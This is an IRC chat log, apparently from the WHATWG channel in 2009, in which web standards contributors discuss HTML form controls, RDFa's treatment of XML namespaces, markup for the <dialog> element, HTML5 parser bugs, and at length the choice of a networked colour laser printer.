[19:04:00.0000] <dpranke>
you're right about number, sorry, I read too fast.

[19:07:00.0000] <dpranke>
what's the difference between disabled and readonly? It looks like disabled is readonly plus the control doesn't receive events? Why have readonly be able to receive events?

[19:07:01.0000] <dpranke>
or is there some other useful difference between disabled and readonly?

[19:08:00.0000] <Hixie>
the point of readonly is to allow users to copy the text from the control

[19:08:01.0000] <TabAtkins>
OMG, finally got IE to recognize a newline and split on it.  The <csv> proposal marches on!

[19:09:00.0000] <dpranke>
ah. okay. does it make sense to add a clarifying note to that effect to the spec, or is this common knowledge?

[19:09:01.0000] <Hixie>
it's basic UI design :-)

[19:11:00.0000] <dpranke>
ok, thanks!

[19:14:00.0000] <jcranmer>
/me marvels at how much space The Great Codec Wars took up in his WHATWG folder

[19:21:00.0000] <Hixie>
oh dear, othermaciej is now being dragged into actually running these meetings

[19:21:01.0000] <othermaciej>
Hixie: I can live with running 1/3 of them or so

[19:21:02.0000] <othermaciej>
but yes, that was part of the cost, along with my soul

[19:21:03.0000] <Hixie>
nothing says we _must_ have telecons

[19:22:00.0000] <othermaciej>
I'm not going to propose canceling telecons, at least not right now

[19:22:01.0000] <Hixie>
in fact our charter, rather than requiring one a week, says that we're not allowed to have _more_ than one a week

[19:22:02.0000] <Hixie>
and says they should only be as needed

[19:22:03.0000] <Hixie>
it's your time :-)

[19:22:04.0000] <Hixie>
you spend it as you think best :-)

[19:22:05.0000] <othermaciej>
I think some of the people who attend get value out of it, and I'm willing to spend an hour of my time to give them that value

[19:23:00.0000] <othermaciej>
particularly if it helps some of those people also get involved by email

[19:36:00.0000] <othermaciej>
this is kind of sad, but I'm actually proud of the way I formatted the agenda email

[19:38:00.0000] <rubys>
http://www.w3.org/html/wg/tracker/actions/103?changelog

[19:39:00.0000] <rubys>
that action was assigned to Lachlan... but he never responded to emails checking for status.

[19:39:01.0000] <rubys>
2009-01-29 17:54:35: Owner changed to 'Lachlan Hunt' [Dan Connolly]

[19:39:02.0000] <rubys>
2009-05-07 16:10:37: Owner changed to 'Julian Reschke' [Dan Connolly]

[19:40:00.0000] <rubys>
http://www.w3.org/html/wg/tracker/issues/75 is already closed

[19:52:00.0000] <othermaciej>
rubys: I'll just make those adjustments in-flight rather than confusing people by changing the agenda

[19:52:01.0000] <othermaciej>
rubys: thanks!

[23:31:00.0000] <cardona507>
is there a firefox extension similar to codeburner (the firebug plug-in) for html 5?

[00:09:00.0000] <hsivonen>
looks like we have a new case of adding attributes in JS to work around validators: http://stackoverflow.com/questions/1145880/can-autocapitalize-be-turned-off-with-javascript-in-mobile-safari

[01:10:00.0000] <Lachy>
dammit, why did apple feel the need to create more proprietary attributes for autocapitalize and autocorrect?!

[01:22:00.0000] <Hixie>
did printers get slower? i could have sworn that 20 years ago laserjets were printing at least as fast as the ones i'm seeing on HP's site today, and they warmed up faster at that.

[01:23:00.0000] <hsivonen>
Hixie: the high end probably hasn't gotten slower but a lower end got introduced and people started bying those

[01:23:01.0000] <Hixie>
where do you find the high end?

[01:24:00.0000] <Hixie>
i can't even find a single 802.11x printer on HP's site

[01:24:01.0000] <hsivonen>
Hixie: at Kinko's

[01:24:02.0000] <Hixie>
(laserjet printer, that is)

[01:24:03.0000] <Hixie>
heh

[01:24:04.0000] <Hixie>
i mean to buy :-)

[01:25:00.0000] <hsivonen>
hmm. I don't know if HP has exited the high end market and left it to Xerox and Canon

[01:25:01.0000] <hsivonen>
(I don't know where to buy those)

[01:25:02.0000] <Hixie>
"First color page in less than 16 seconds" $3199.99

[01:25:03.0000] <Hixie>
16 seconds?!

[01:26:00.0000] <Hixie>
(HP Color LaserJet 5550dn Printer )

[01:26:01.0000] <annevk2>
is that including boot-time or so?

[01:26:02.0000] <annevk2>
and 3200 for a printer is a lot

[01:27:00.0000] <Hixie>
yes and yes

[01:27:01.0000] <Hixie>
for $3199.99 i expect my printer to be printing before i ask it to

[01:29:00.0000] <annevk2>
/me has a EUR 80 (or less, don't really remember) black/white-laserjet that he almost never  needs

[01:30:00.0000] <Lachy>
I gave up on owning a printer. My old, affordable, inkjet printers kept drying out cause I don't print frequently enough, and when I do, I just do it at the office

[01:31:00.0000] <Hixie>
yeah this isn't for me

[01:31:01.0000] <Hixie>
i haven't printed in like a decade

[01:33:00.0000] <Hixie>
what are the quality printer manufacturers these days? is HP still it?

[01:33:01.0000] <Lachy>
Hixie, is it intended for personal use by whoever you're getting it for, or office use?

[01:33:02.0000] <Hixie>
what's the difference?

[01:34:00.0000] <Lachy>
different feature requirements

[01:34:01.0000] <annevk2>
Hixie, canon is also ok, not sure about laserjet

[01:35:00.0000] <Lachy>
like, an office printer would probably need an ethernet connection and be optimised for network setup, whereas personal use might not need that

[01:36:00.0000] <annevk2>
for network setup you could always buy one of those apple thingies

[01:36:01.0000] <annevk2>
with a usb-in

[01:36:02.0000] <Hixie>
the requirements are: high quality (laser jet), network printer using 802.11g or n, color, automatic double-sided printing, fast per page and fast from cold.

[01:36:03.0000] <Hixie>
and reliable.

[01:36:04.0000] <Lachy>
annevk2,  the Airport Extreme or possibly Airport Express

[01:36:05.0000] <Hixie>
i'd rather it have built in networking

[01:38:00.0000] <Hixie>
HP doesn't have a printer that meets those requirements.

[01:38:01.0000] <annevk2>
i've no experience at all with such beasts

[01:38:02.0000] <Hixie>
at least not according to their site.

[01:38:03.0000] <Lachy>
Hixie, so just printing, and no need for scanner/copier/fax functions?

[01:38:04.0000] <annevk2>
my printer is in the closet and I take it out every couple of months to print some stupid expense report

[01:38:05.0000] <Hixie>
right

[01:40:00.0000] <Lachy>
Hixie, http://www.brother-usa.com/Printer/ModelDetail.aspx?ProductID=HL4070CDW

[01:41:00.0000] <Hixie>
looks interesting

[01:41:01.0000] <Lachy>
still 17 seconds for first print though

[01:41:02.0000] <Lachy>
for colour

[01:41:03.0000] <Philip`>
annevk2: You should use a commercial printing service for that, and then charge it on expenses

[01:42:00.0000] <Hixie>
yeah, still slow though

[01:42:01.0000] <Hixie>
both starting up and printing

[01:42:02.0000] <Lachy>
you consider 21ppm slow?

[01:43:00.0000] <Lachy>
that's 1 page every 3 seconds

[01:44:00.0000] <Hixie>
that's not faster than 20 years ago

[01:44:01.0000] <annevk2>
Philip`, I'll ask for your advice next time :)

[01:44:02.0000] <Hixie>
so yes, i consider that slow

[01:44:03.0000] <annevk2>
Philip`, meanwhile, charset stats? :)

[01:44:04.0000] <Lachy>
so how many pages per minute are you expecting?

[01:44:05.0000] <annevk2>
Hixie, is this how you remember 20 years ago?

[01:44:06.0000] <Hixie>
annevk2: :-P

[01:44:07.0000] <Philip`>
Does anybody give double-sided printing speeds?

[01:45:00.0000] <hsivonen>
/me only has a printer for paper-based accounting use cases

[01:46:00.0000] <Philip`>
/me presumes 21ppm is one-sided, because all printers he's seen do double-sided make the paper go backwards and forwards lots of times before popping out and it takes forever

[01:46:01.0000] <hsivonen>
though when it exists, it can occasionally be used for printing train tickets

[01:47:00.0000] <Hixie>
Philip`: yeah, agreed

[01:47:01.0000] <Lachy>
http://www.office.xerox.com/printers/color-printers/phaser-7760/enus.html

[01:48:00.0000] <Lachy>
35ppm for colour

[01:48:01.0000] <Lachy>
45ppm for black

[01:48:02.0000] <Lachy>
"First-page-out time as fast as 9 seconds for color"

[01:49:00.0000] <Lachy>
Is that fast enough?

[01:49:01.0000] <annevk2>
no wifi though

[01:50:00.0000] <Lachy>
yeah, but I was only searching for speed to see if it was possible to find anything at all fast enough for Hixie 

[01:50:01.0000] <Hixie>
Lachy: hmm, that's better than i've seen so far

[01:51:00.0000] <Lachy>
Hixie, "With print speeds of up to 35 pages per minute for colour and 45 ppm for black and white and a first-page-out time of nine seconds for colour, the Phaser is considered one of the fastest printers in its class. " -- http://www.highbeam.com/doc/1G1-158653373.html 

[01:51:01.0000] <jgraham>
Maybe there is a limit to how fast you can physically pull paper through a printer without bad side effects

[01:53:00.0000] <jgraham>
Anyway we had some Xerox phaser thing when I was doing my PhD and it seemed OK. It got used a lot and didn't break down often or anything

[01:53:01.0000] <Hixie>
cool

[01:54:00.0000] <Hixie>
good to know what the top of the line is, at least

[01:54:01.0000] <jgraham>
Colour reprodution was pretty poor. Dunno how fast it was or anything

[01:54:02.0000] <hsivonen>
are there color lasers whose color reproduction doesn't suck?

[01:54:03.0000] <hsivonen>
/me thought color lasers were for printing powerpoint slides

[01:55:00.0000] <hsivonen>
and ad bureaus and the like used slower and more expensive non-laser stuff

[01:55:01.0000] <jgraham>
In this case they were for printing science papers where relative colour tends to be more important than absolute colour

[01:55:02.0000] <jgraham>
s/they were/it was/

[01:55:03.0000] <Hixie>
yeah if you want to do something where colour really matters, you do ink jets, i think

[01:56:00.0000] <Hixie>
but then if i'm printing photos, i'm gonna be using a photo printing shop

[01:56:01.0000] <hsivonen>
are wax printers still on the market?

[01:57:00.0000] <Hixie>
is that "solid ink"?

[01:57:01.0000] <jgraham>
9we were very licky to have a good colour printer at all; it was only because my group had seperate funding from the rest of the department. The department colour laserjet _really_ sucked)

[01:57:02.0000] <hsivonen>
Hixie: could be. I don't know.

[01:58:00.0000] <jgraham>
s/9/(/ and s/licky/lucky/

[02:33:00.0000] <Mrmil>
I hate IE

[02:34:00.0000] <krijnh>
High five!

[02:35:00.0000] <Mrmil>
Highway to Hell

[03:04:00.0000] <hsivonen>
I'm puzzled. With my latest HTML5 parser refactoring, jquery on http://webtrendmap.com/craigmod/161/ dies due to document.body being null

[03:04:01.0000] <hsivonen>
I wonder how that can happen

[03:04:02.0000] <gsnedders>
Because there's a bug.

[03:04:03.0000] <Dashiva>
hsivonen: Script in <head> before body is created?

[03:05:00.0000] <hsivonen>
Dashiva: jquery is in head, yes

[03:05:01.0000] <hsivonen>
Dashiva: but it works without the HTML5 parser refactoring

[03:05:02.0000] <hsivonen>
I wonder if I've accidentally caused onload or DOMContentLoaded to fire prematurely or something like that

[03:08:00.0000] <gsnedders>
I think you should never fire them.

[03:09:00.0000] <jgraham>
gsnedders: You miss Philip`?

[03:10:00.0000] <gsnedders>
Huh?

[03:10:01.0000] <gsnedders>
jgraham: No, it's my Swedish Mummy, Daddy, and Nanny I miss :P

[03:10:02.0000] <jgraham>
Well you have started filling in the "useless suggestions" role

[03:10:03.0000] <gsnedders>
I've always done that quite a bit, though.

[03:12:00.0000] <hsivonen>
sigh. I have a crash, too.

[03:12:01.0000] <hsivonen>
how hard can it be to move some code around?

[03:13:00.0000] <gsnedders>
Very.

[03:13:01.0000] <hsivonen>
refcounting is a house of cards

[03:15:00.0000] <hsivonen>
apparently moving code around is fairly easy, but splitting one refcounted object into many is a can of worms

[03:15:01.0000] <annevk2>
xmlns issue still unadressed

[03:16:00.0000] <annevk2>
are these people just incompetent at XML namespaces while happily using them?

[03:16:01.0000] <gsnedders>
annevk2: Then I guess we can free it

[03:16:02.0000] <hsivonen>
annevk2: in the RDFa draft?

[03:16:03.0000] <annevk2>
yes

[03:16:04.0000] <Philip`>
gsnedders: You don't miss me? :-(

[03:16:05.0000] <gsnedders>
Philip`: Sorry, but jgraham just means so much more to me.

[03:16:06.0000] <annevk2>
it has been raised like a bazillion times

[03:17:00.0000] <annevk2>
my last email on this subject never had a reply I think

[03:17:01.0000] <annevk2>
I think they just don't get it

[03:17:02.0000] <Philip`>
Their response to http://rdfa.info/wiki/Rdfa-in-html-issues#Script-based_modification_of_DOM (further down that page) seems to miss the issue with that example

[03:17:03.0000] <annevk2>
I guess if you don't get XML namespaces they look all nice and dandy :)

[03:17:04.0000] <hsivonen>
annevk2: usually, if one "gets" namespaces, one wants to avoid them

[03:17:05.0000] <Philip`>
/me should probably look at this again some time, and try to clarify what still seems to be a problem

[03:17:06.0000] <annevk2>
right :)

[03:22:00.0000] <annevk2>
ah, othermaciej raised the issue as well and manu didn't get it

[03:23:00.0000] <annevk2>
he in fact simply snipped that comment from othermaciej's review

[03:23:01.0000] <othermaciej>
did he?

[03:23:02.0000] <othermaciej>
I thought he replied to that point (and I replied back)

[03:24:00.0000] <othermaciej>
it also looks like he pasted my comments about xmlns in text/html into the wiki

[03:24:01.0000] <annevk2>
http://lists.w3.org/Archives/Public/public-html/2009Sep/0082.html in 4.3 your point about the DOM being different is no longer there

[03:24:02.0000] <othermaciej>
it is here though: http://rdfa.info/wiki/Html5-rdfa-wd-issues#4.2_Invalid_XMLLiteral_values

[03:25:00.0000] <othermaciej>
er

[03:25:01.0000] <othermaciej>
not in the 4.2 section

[03:25:02.0000] <othermaciej>
but you know what I mean

[03:25:03.0000] <othermaciej>
he only directly replied to a few of my points and recorded the rest on the wiki

[03:25:04.0000] <annevk2>
i see

[03:26:00.0000] <othermaciej>
if you look at my further email, what XHTML+RDFa says about prefix binding is broken even for XML

[03:26:01.0000] <annevk2>
his reply still shows misunderstanding of the issue but I guess they're working on that then...

[03:27:00.0000] <annevk2>
i love it that such crap comes from the same people who claim XML is easy

[03:29:00.0000] <hsivonen>
othermaciej: I suspect RDFa is layered on top of XML 1.0--not on top of XML 1.0 + Namespaces

[03:30:00.0000] <othermaciej>
hsivonen: does that negate the error I pointed out in its rules about prefix bindings?

[03:30:01.0000] <hsivonen>
othermaciej: which is a pretty fundamental layering violation but gets an applause, because it looks like it's layered on top of Namespaces

[03:30:02.0000] <othermaciej>
(I don't think it does)

[03:31:00.0000] <annevk2>
hsivonen, that cannot be for real

[03:31:01.0000] <annevk2>
hsivonen, RDFa also references XMLNS

[03:31:02.0000] <hsivonen>
othermaciej: I think what you said stands

[03:32:00.0000] <othermaciej>
RDFa cites XMLNS, I am not sure what aspect makes it layered on top of XML 1.0

[03:32:01.0000] <hsivonen>
annevk2: I guess I need to look up an email from Mark Birbeck

[03:33:00.0000] <othermaciej>
the text I cited does seem to be treating XML namespace declarations as just ordinary attributes, but that seems to be just a symptom of its generally wrong use of terminology

[03:33:01.0000] <Philip`>
hsivonen: I thought the idea is it's layered on XHTML (1.1 or Modularization or something), which is layered on Namespaces to some extent

[03:34:00.0000] <Philip`>
(though not to a particularly well defined extent)

[03:34:01.0000] <Philip`>
http://www.w3.org/mid/4A291657.9020805⊙cau

[03:34:02.0000] <hsivonen>
othermaciej: I think it's a symptom of not layering the spec over Namespace but using xmlns as a trompe-l’œil

[03:35:00.0000] <othermaciej>
it would probably make more sense for it to cite Namespaces in XML for namespace scoping instead of having its own rule for how to do it

[03:35:01.0000] <Philip`>
It might partly come from viewing XML documents as strings which follow a certain grammar, instead of as a DOM/Infoset-like tree

[03:35:02.0000] <annevk2>
hsivonen, ah yeah, it does do that

[03:35:03.0000] <othermaciej>
although that would mean more work to define how it works in text/html

[03:36:00.0000] <Philip`>
(The XML spec itself seems to be designed from the string viewpoint)

[03:36:01.0000] <annevk2>
Philip`, which is weird at least for <?xml encoding="..."

[03:37:00.0000] <hsivonen>
annevk2: http://lists.w3.org/Archives/Public/public-rdf-in-xhtml-tf/2009Feb/0109.html

[03:37:01.0000] <othermaciej>
anyway, I'm glad Manu put forth a technical proposal this time instead of a procedural one, even if it seems like it needs work

[03:38:00.0000] <hsivonen>
gotta go to lunch

[03:39:00.0000] <hsivonen>
just got Snow Leopard in the mail. I wonder if I should wait until 10.6.1 before I install...

[03:39:01.0000] <othermaciej>
it seems like they could just use the "Namespaces in XML" definition of namespace prefixes in scope, even if they use the prefixes for non-namespace reasons

[03:40:00.0000] <othermaciej>
10.6.0 is better than the average 10.n.0

[03:41:00.0000] <othermaciej>
it seems like HTML+RDFa needs to make @rev and various other attributes conforming

[03:42:00.0000] <Philip`>
It probably needs to do something similar to what's in http://philip.html5.org/docs/rdfa/

[03:43:00.0000] <Philip`>
(except probably without copying-and-pasting the RDFa-in-XHTML processing model, because duplication is bad)

[03:43:01.0000] <Philip`>
(and the issues with e.g. precisely defined attribute parsing apply to XHTML as much as to HTML)

[03:48:00.0000] <othermaciej>
Philip`: that draft looks much more precise, despite its unfinished state

[03:48:01.0000] <othermaciej>
Philip`: might be good to point out that draft on the list

[03:49:00.0000] <Philip`>
I wonder if I should try rewriting it to remove the duplication of the processing model, since that seemed to be the main objection to it

[03:51:00.0000] <Philip`>
/me could probably attempt that this afternoon

[03:55:00.0000] <othermaciej>
Philip`: if you have the time to pursue it, then I would encourage you to pursue that and post the draft

[03:55:01.0000] <alkarin>
greetings everybody

[03:55:02.0000] <alkarin>
/me posts:  http://kunter.posterous.com/html-5-super-concerns

[04:05:00.0000] <beowulf>
is it worth saying that <dialog> should allow <li> rather that <dt><dd>, or if no <dialog> then the old advice of using <dl> for dialog should be updated to allow <li>?

[04:06:00.0000] <annevk2>
it's prolly better to start from scratch if you want to do something different

[04:06:01.0000] <alkarin>
unless one of us not planning to unleash a chat server or a walky-talky page, I think most designer will straight pass this dialog idea.

[04:06:02.0000] <annevk2>
because it's unclear what use cases everyone has in mind

[04:06:03.0000] <alkarin>
: concurs.

[04:06:04.0000] <beowulf>
annevk2: my use case is krijnh's logs

[04:07:00.0000] <annevk2>
i think just like for footnotes the spec should just give a few ideas on how you can mark such things up

[04:07:01.0000] <alkarin>
if we are to avoid DIV tags because they are regarded as unambigious, then we'll need to have a hundred more

[04:07:02.0000] <annevk2>
instead of dedicating an element to it

[04:08:00.0000] <annevk2>
or like tag clouds

[04:08:01.0000] <beowulf>
annevk2: sounds fair

[04:17:00.0000] <erlehmann>
beowulf, can you tell me again how several people saying the same thing could be conveyed with ordered lists ?

[04:17:01.0000] <erlehmann>
beowulf, also got around to researching the alledged small screen rendering issues ?

[04:18:00.0000] <erlehmann>
annevk2, i was thinking footnotes were <aside> ?

[04:20:00.0000] <erlehmann>
i'll probably style them as small inline text or expandable inline container (with :hover and :focus) as long as CSS hasn't footnote / endnote capabilities

[04:25:00.0000] <annevk2>
erlehmann, not always

[04:30:00.0000] <erlehmann>
annevk2, can you clarify the other possibilities ?

[04:32:00.0000] <annevk2>
see spec

[04:35:00.0000] <beowulf>
erlehmann: surely i only need to tell you once, then you accept or deny my claim

[04:36:00.0000] <erlehmann>
beowulf, curse your sudden and inevitable dialog-hate :D

[04:37:00.0000] <beowulf>
erlehmann: i no longer work for dotmobi so getting access to the test suite isn't easy, but as i recall default styling on dd's creates an indent that makes viewing content difficult due to the shortened measure.

[04:37:01.0000] <erlehmann>
oh, its that

[04:37:02.0000] <erlehmann>
but its only default styiling

[04:38:00.0000] <beowulf>
that's all some mobile have

[04:38:01.0000] <beowulf>
mobiles

[04:38:02.0000] <erlehmann>
o.0

[04:38:03.0000] <beowulf>
i did say low end

[04:38:04.0000] <erlehmann>
then speak to mobile browser vendors ?

[04:39:00.0000] <beowulf>
lol

[04:39:01.0000] <erlehmann>
i must admit, i have not heard of the low-end you are talking about. i tried WAP and went straight to smartfones that CAN do CSS

[04:39:02.0000] <beowulf>
cool

[04:39:03.0000] <erlehmann>
but bad default styling is not something to be said against an element, but against an implementation, amiwrong?

[04:40:00.0000] <beowulf>
i did say this wasn't a big issue with dt/dd in dialog

[04:40:01.0000] <beowulf>
a corner case i'd say

[04:40:02.0000] <beowulf>
a corner of a corner case

[04:41:00.0000] <erlehmann>
so whats the big issue then ? chatlogs surely are markup-able in <dialog>s

[04:42:00.0000] <erlehmann>
maybe the timestamp thingy needs more consideration. <time> elements in dialogs seem nice

[04:42:01.0000] <beowulf>
the issue for me is it's not clear how you'd mark up a join, away, part, quit, disconnect, netsplit, nickchange, status change, etc in a dt/dd

[04:42:02.0000] <erlehmann>
besides, i can envision an XML transform to convert an XMPP stream into <dialog>

[04:43:00.0000] <beowulf>
but i don't think anyone cares enough about dialog, so... :)

[04:43:01.0000] <erlehmann>
beowulf, i believe you are looking for something completely different than anyone else. <dialog> seems to be a natural conversation

[04:43:02.0000] <erlehmann>
like, a play

[04:43:03.0000] <erlehmann>
OH ROMEO

[04:43:04.0000] <erlehmann>
etc.

[04:43:05.0000] <beowulf>
exeunt

[04:44:00.0000] <beowulf>
romeo and juliet in dt/dd would be horrible

[04:45:00.0000] <Binarytales>
could you not just do <dialog><dt class"joins"><time>12:46</time>Dave</dt>..... or <dialog><time>12:46</time><span class="action">joined</span>Dave</dt>

[04:45:01.0000] <Binarytales>
there are too many different "actions" to give them a special attribute or tag

[04:46:00.0000] <erlehmann>
Binarytales, i would break from the dialog and describe the actions in a simple paragraph

[04:47:00.0000] <erlehmann>
maybe <p> inside <dialog> should be allowed ?

[04:48:00.0000] <Binarytales>
yeah that would make sense, especially for longer things like stage directions for plays or describing non dialougue souns or actions in transcriptts

[04:48:01.0000] <Binarytales>
IRC always turns my typing to mush :(

[04:49:00.0000] <erlehmann>
i'll type a mail to the list

[04:50:00.0000] <beowulf>
<section item id=dialog>...</section>

[04:52:00.0000] <Binarytales>
I'm guessing the same rules apply to dialouge that do to dl so that if multiple people say the same thing at the same time then you could use multiple dt for the same dd

[04:52:01.0000] <hsivonen>
<dialog> is doing great at stopping permathreads...

[04:53:00.0000] <Binarytales>
oh..... "Zero or more pairs of one dt element followed by one dd element."

[04:53:01.0000] <Binarytales>
i think that should be the same as a dl

[04:53:02.0000] <Binarytales>
"Zero or more groups each consisting of one or more dt elements followed by one or more dd elements."

[04:54:00.0000] <Binarytales>
then if <p> was allowed you should be able to do <dt>Dave</dt><dd>Hmmm....</dd><p>he goes to the window</p><dd>I hadn't though of that</dd>

[04:59:00.0000] <Binarytales>
I also think that dt's in dialogue should be allowed the datetime attribute

[05:05:00.0000] <Hixie>
I simply cannot find a full duplex, wifi-enabled, mac-compatible, color printer with a good consumables story and that isn't really slow for under $2000.

[05:06:00.0000] <jgraham>
Hixie: What is your use case that requires > 20ppm but is used infrequently enough that cold start up time is a major issue?

[05:06:01.0000] <Hixie>
it doesn't have to be > 20ppm really

[05:06:02.0000] <Hixie>
the use case is me not tearing my hair out if i want to print something

[05:07:00.0000] <Hixie>
i expect my hardware to do what i tell it to, when i tell it

[05:07:01.0000] <Hixie>
not three minutes later

[05:07:02.0000] <Hixie>
some of these printers have multi-minute boot times

[05:07:03.0000] <Hixie>
my fricking _computers_ don't take that long to boot

[05:07:04.0000] <annevk2>
I thought it was not for you? :)

[05:08:00.0000] <Hixie>
it isn't, but i know who's going to end up doing the drafting for the work that does get printed

[05:08:01.0000] <Hixie>
:-)

[05:09:00.0000] <Hixie>
the Brother HL 4070CDW is the only one that matches the criteria on paper for under $2000, but it apparently does a horrible job of consumables

[05:09:01.0000] <Hixie>
it literally has a page count after which it just claims the toner is empty

[05:09:02.0000] <Hixie>
rather than actually caring about whether there really is toner left

[05:09:03.0000] <annevk2>
i'm sure people hacked that :)

[05:10:00.0000] <Hixie>
i shouldn't need to hack my printer to make it work right

[05:10:01.0000] <hsivonen>
hmm. I wonder if my Brother laser printer does that. I've never had to change the toner

[05:10:02.0000] <Dashiva>
What if you drop wifi-enabled?

[05:11:00.0000] <hsivonen>
isn't hacking a toner cartridge a DMCA violation these days or something?

[05:11:01.0000] <Hixie>
if i drop wifi-enabled, there's a number of printers, such as the Phaser 8560/DN, that look rather nice

[05:11:02.0000] <Hixie>
but wifi-enabled without an external dongle is not something i want to drop

[05:12:00.0000] <Hixie>
the Canon Color imageRUNNER LBP5975 looks pretty nice and has (optional) built-in wifi, but it costs about $3000.

[05:12:01.0000] <annevk2>
don't you have an Apple router of some sorts with usb-in?

[05:12:02.0000] <annevk2>
/me thought everyone had an Airport Express these days

[05:12:03.0000] <Hixie>
the room i'm putting this in has no networking at all

[05:12:04.0000] <hsivonen>
I learned recently that sometimes it pays to accept external dongles even though they suck

[05:13:00.0000] <Dashiva>
Still, a dongle seems preferable to $1000 or more in extra price

[05:13:01.0000] <annevk2>
airport express just requires electricity

[05:13:02.0000] <Hixie>
(and i honestly do not believe that the airport extreme with a usb port on the back is going to work that well)

[05:13:03.0000] <hsivonen>
my parents bought a silly expensive TV in order to have a built-in DVR

[05:13:04.0000] <Hixie>
(e.g. can i print from linux to an airport extreme?)

[05:13:05.0000] <annevk2>
Hixie, you don't need extreme

[05:13:06.0000] <jgraham>
 It seems like an external router might be worth it for a saving of $1000 

[05:13:07.0000] <hsivonen>
after hardware and firmware upgrades they returned it

[05:13:08.0000] <fupp>
where can I find docs on the treewalker in html5lib?

[05:13:09.0000] <Hixie>
s/airport extreme/airport express/, sorry

[05:13:10.0000] <hsivonen>
because the firmware upgrade to make parts of it work regressed more essential features

[05:13:11.0000] <annevk2>
Hixie, I've never tried that, but I think there are ways to make it work for Linux

[05:13:12.0000] <Dashiva>
Let printers be printers and TVs be TVs :)

[05:14:00.0000] <Hixie>
annevk2: my willingless to spend time making things work is minimal

[05:14:01.0000] <Hixie>
annevk2: i expect to plug the printer into a power outlet, and be able to print.

[05:14:02.0000] <jgraham>
fupp: If there aren't any on the wiki page (http://code.google.com/p/html5lib/ ) they probably don't exist

[05:14:03.0000] <jgraham>
There should be some there though

[05:15:00.0000] <jgraham>
Hixie: Ah, I see you really haven't used a printer for 10 years

[05:15:01.0000] <fupp>
jgraham: there was a small example, but only how to create the treewalker, I didn't find anything about what method it has

[05:15:02.0000] <jgraham>
fupp: It's an iterator. So you can do for item in tw: print item

[05:15:03.0000] <Hixie>
jgraham: it seems to work that way at work, with the network printers there

[05:15:04.0000] <jgraham>
Hixie: I assume google has sysadmins and stuff

[05:16:00.0000] <Hixie>
well, if the printer comes with a sysadmin in the box that's fine too

[05:16:01.0000] <fupp>
jgraham: okay, thanks

[05:16:02.0000] <jgraham>
I guess you need to pay a lot more to get that :)

[05:17:00.0000] <annevk2>
might be illegal too

[05:17:01.0000] <fupp>
is there a way to use filters like with the DOM2 TreeWalker?

[05:18:00.0000] <Lachy_>
Hixie, an ethernet enabled network printer plugged into a port on a wireless router (as opposed to a USB printer plugged into an airport express) that is configured to extend your existing network would probably suit your needs

[05:19:00.0000] <jgraham>
fupp: There are a few filters provided, you can look at them. You don't need a specific api because you can just use a generator function

[05:19:01.0000] <Hixie>
Lachy_: yeah, though then i need to add yet another router to the network

[05:19:02.0000] <jgraham>
function filter(node): yield node is the identity filter

[05:19:03.0000] <Hixie>
my home network is complicated enough already that i had to draw a network map to figure it out

[05:20:00.0000] <Lachy_>
Hixie, that's not really much of a problem if it's just set up in bridge mode

[05:21:00.0000] <Lachy_>
I have 3 routers in my home network

[05:21:01.0000] <Hixie>
/me wonders what the difference is between a "HP Jetdirect ew2400 External Wireless Print Server" and a "HP Wireless G USB Print Server" is

[05:45:00.0000] <Philip`>
"External Wireless"

[05:45:01.0000] <Philip`>
Can you get a printer that's internally wireless too?

[05:46:00.0000] <gsnedders>
Hixie: Correct solution: don't print.

[05:46:01.0000] <Philip`>
You could get rid of the circuit boards and just have every chip communicate via wifi

[05:47:00.0000] <Lachy>
Philip`, that depends what is meant by "External Wireless", and what you mean by "internally wireless"

[05:47:01.0000] <Hixie>
gsnedders: yeah that's my choice too

[05:47:02.0000] <Lachy>
if you mean, containing no wires, rather than having an internal wifi connection, then no

[05:52:00.0000] <Hixie>
can an airport express be used as a bridge to connect an _ethernet_ printer to the network?

[05:52:01.0000] <Hixie>
as opposed to usb?

[05:52:02.0000] <Hixie>
or is the ethernet port on the express only for uplink to the internet

[05:53:00.0000] <Hixie>
i'm thinking an HP Color LaserJet CP3525dn is probably my best choice, with a router to get it on the network.

[05:53:01.0000] <jgraham>
/me wonders why Hixie wants a fancy apple thing rather than a common or garden router

[05:53:02.0000] <Hixie>
well if it works, it's a whole heck of a lot easier to maintain than other routers

[05:54:00.0000] <annevk2>
Hixie, you should ask your employer, it pointed me to http://forums.macrumors.com/showthread.php?t=92055

[05:54:01.0000] <Hixie>
my experience with forums is that you guys are more reliable :-P

[05:55:00.0000] <annevk2>
we do sometimes get people join this channel with highly off-topic questions of things discussed in the past :)

[05:55:01.0000] <Philip`>
http://web3d.org/pipermail/x3d-public_web3d.org/2009-September/000341.html ("X3D - HTML 5 minutes Sept. 01, 2009")

[05:56:00.0000] <Philip`>
/me isn't sure what those people actually want to do

[05:57:00.0000] <Hixie>
i guess i'll plug my laptop into my existing airport express and see if that works

[05:57:01.0000] <Binarytales>
what about ethernet over powerlines. my brother uses it for his xbox and it works like a charm, the adapter are pretty inexpesive too, a lot cheaper than an airport

[05:58:00.0000] <annevk2>
Philip`, literally reading that it seems they want to obsolete <embed> and give X3D the same kind of support as SVG

[05:59:00.0000] <Hixie>
Binarytales: dunno if that'll work for me, our power setup is ancient and not at all something i'd trust with data

[05:59:01.0000] <Philip`>
annevk2: As far as I'm aware they only care about XHTML, not text/html

[06:00:00.0000] <zcorpan>
Hixie: should <video> use MIMESNIFF rules?

[06:00:01.0000] <Binarytales>
we have it working on wiring that was done the 60's and its stable enough for xbox live

[06:00:02.0000] <Hixie>
zcorpan: not currently

[06:00:03.0000] <Philip`>
(or maybe they don't realise the distinction)

[06:00:04.0000] <Hixie>
Binarytales: ah, interesting. what products should i be looking at? maybe it's worth a try

[06:00:05.0000] <Philip`>
Does Ethernet over powerlines work during powercuts?

[06:01:00.0000] <Hixie>
my wifi network won't work during powercuts

[06:01:01.0000] <Hixie>
so that point is moot

[06:01:02.0000] <jgraham>
/me has heard that the reliability of ethernet over powerlines is widely variable depending on the wiring of your house and can have unexpected interference if you try to e.g. make toast

[06:02:00.0000] <Philip`>
You can solve that by switching to a battery-powered toaster

[06:02:01.0000] <Hixie>
ok well i'll look into the networking part of this tomorrow

[06:02:02.0000] <Hixie>
i must sleep now

[06:02:03.0000] <Hixie>
thanks for the help

[06:07:00.0000] <jgraham>
Does WebIDL have anything to say about what should happen if I do something like __lookupGetter__ or __defineSetter__ on a DOM object?

[06:07:01.0000] <jgraham>
heycam: ^

[06:08:00.0000] <jgraham>
/me is hoping someone more familiar than him with WebIDL will know since the spec is quite dense and it is possible he has missed something

[06:20:00.0000] <hsivonen>
why are the X3D folks keen on getting rid of <embed>?

[06:20:01.0000] <heycam>
jgraham, no it doesn't

[06:20:02.0000] <heycam>
